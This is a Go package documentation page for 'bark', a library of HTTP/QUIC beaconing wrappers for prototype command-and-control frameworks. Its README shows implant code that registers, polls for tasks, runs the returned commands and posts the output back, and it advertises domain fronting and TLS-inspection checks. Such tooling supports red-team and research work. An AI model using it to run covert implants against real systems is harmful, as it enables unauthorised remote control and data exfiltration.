bark

package module
v0.0.0-...-74b8911 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Mar 13, 2023 License: GPL-3.0 Imports: 10 Imported by: 0

README

bark

Go Report Card Go Reference

WARNING: This repo is still in active development and is subject to breaking changes.

bark is a simple HTTP/QUIC RESTful beaconing package for use in prototype/template C2's.

The idea behind bark is to provide a quick C2-lite https/quic comms package for small projects/pocs. It should hopefully save you rewriting a beaconing package everytime you want to try and create a new C2 or test an idea out.

With bark you can really structure your comms data however you like. Bark simply provides some quick wrappers around HTTPS and QUIC, with hopefully enough customisation to suit your needs. It's deliberately simple in functionality, so that you can implement more complex logic yourself as and when desire.

What does it do?

bark does:

  • Simplyfy the process of setting up HTTPS/QUIC comms channel.
  • Work with domain fronting, including AWS.
  • Plug-n-play:
    • Use only portions of Bark or all of it. Roll your own routes and server, but use the beacon package and vice-versa.
    • Use any of any transport compatible with the stdlib http.RoundTripper.
    • Use HTTP, HTTPS, HTTP3, or pure QUIC for transporting any []byte-able data.
  • Retain's cookies via a cookiejar (WIP, but hopefully useable for rolling your own auth soon).
  • Provides helpers for common C2 beaconing tasks, such as checking for TLS inspection.

bark does not:

  • Handle beacon timings, retries and more.
  • Implement command/Implant logic.
  • Provide e2e encryption - bark only uses tls, you must use your own extra encryption mechanism if you want one.
  • Custom/obfuscation profiles: Some of this is possible via some of the extra bark.BarkMsg struct, e.g. headers, but really anything smarter should be done from scratch.

bark Comms Flow

Below shows an example bark workflow which operates over four steps, for complete examples, see the examples directory.

  1. Comms setup: The Implant comms need to be setup before any comms can take place.

//Setup a router, and do not verify certificates.
    mybarker := bark.NewBarkerHTTP("mynewhttpcomms", false)
	mybarker.Ua = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"
	//BarkHost should include the protocol, e.g. http:// or https://
	mybarker.BarkHost = "https://127.0.0.1:8080"

  1. Register [optional]: The Implant calls out to registration URL or URLs, use this stage to add the implant to your DB, return info etc. As it's optional, you can also just use the beaconing requests instead.
    //Set BarkMsg for registering implant.
	registermessage := &bark.BarkMsg{
		Uri:    "/register",
		Method: "GET",
	}

    //Send a registration request.
    resp, err := mybarker.Bark(*registermessage)
    if err != nil {

        time.Sleep(beacontime)
        continue
    }
    // Do something with the response (key-exchange, config update, choice is yours!)
  1. Beacon: Send a beacon (GET request) out to your desired endpoints.
    //Set BarkMsg for beaconing.
    beaconmsg := &bark.BarkMsg{
        Uri:    "/tasks",
        Method: "GET",
    }
    //Send a beacon request out.
    encCmd, err := mybarker.Bark(*beaconmsg)
    if err != nil {
        time.Sleep(beacontime)
        continue
    }
    //Comnand Returned, do something with it:
    cmd, ok := YourDecryptFunc(encCmd)
  1. Post Output [optional]: If a cmd needs to return output, these endpoints can be sent post requests with the relevant data.
    //Command is good, run command
    output := RunCmd(cmd)
    encdata, ok := YourEncryptFunc([]byte(output))
    if ok {
        //Task ran fine, send output back.
        taskcompletemsg := &bark.BarkMsg{
            Uri:    "/upload",
            Method: "POST",
            Body:   []byte(encdata),
        }
    _, err := mybarker.Bark(*taskcompletemsg)
    }

Each of the Bark() funcs return the request body as a []byte so that you can send any "byte-able" format and interpret the response however you please. They also store the request cookies. Headers and other HTTP data is not accessible to keep things simple.

For example, you might use encoding/gob to unmarshall the data into a go-readable struct, or simply use an entirely custom format. For example there is no reason you couldn't send an encrypted file, a totally custom binary format or even just a simple string. Anything goes so long as you can safely convert it to and from a byte slice.

Helpers

There are also currently several helpers in Bark, the top two are:

  • Jitter - Pass it a time.Duration and a float, and it'll handle Jitter calculations for you.
  • GetTLSCertIssuer - Returns the Cert Issuer as a string, useful for checking if TLS is inspected.

Currently it only supports HTTP(s)/QUIC, but more is planned.

WIP additions:

  • Simple Proxy & ntlm proxy support.
  • Pure QUIC comms for beaconing and pivot connectivity (Howl).
  • Header Support.
  • Multiple URL Helper function.
  • Add unit testing.

Documentation

Index

Constants

This section is empty.

Variables

This section is empty.

Functions

func BuryinJwt

func BuryinJwt(data []byte) (string, error)

func GetTLSCertIssuer

func GetTLSCertIssuer(addr string, tcp bool) (string, error)

GetTLSCertIssuer returns the issuer of the TLS certificate for the specified host and port.

func Jitter

func Jitter(d time.Duration, j float64) time.Duration

Types

type AuthToken

type AuthToken struct {
	AccessToken string `json:"access_token"`
	TokenType   string `json:"token_type"`
	Expires     string `json:"expires_at"`
}

type BarkConfig

type BarkConfig struct {
	//addr
	Addr string

	//Host header (for domain fronting) and user-agent
	Hh string
	Ua string

	Proxyurl  string
	Proxyuser string
	Proxy     bool

	//transport
	Jit float64
	Tr  http.RoundTripper

	//cookies:
	Jar http.CookieJar
}

func NewBarker

func NewBarker(name string) *BarkConfig

Create a new barker with no settings

func NewBarkerHTTP

func NewBarkerHTTP(name string, verifytls bool) *BarkConfig

Create a new Barker with HTTP Defaults

func NewBarkerQUIC

func NewBarkerQUIC(name string, verifytls bool) *BarkConfig

Create a new Barker with QUIC defaults

func (*BarkConfig) Bark

func (barkerconf *BarkConfig) Bark(Msg BarkMsg) ([]byte, error)

Beacon out for cmd

type BarkMsg

type BarkMsg struct {
	Uri    string
	Method string

	//Data for the C2 Serv can be in the auth header, or body.
	//Choose whatever is best for you.
	AuthHeader []byte
	Body       []byte
}

type Barker

type Barker interface {
	Bark(BarkMsg) ([]byte, error)
}

Directories

Path Synopsis
example
pkg

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL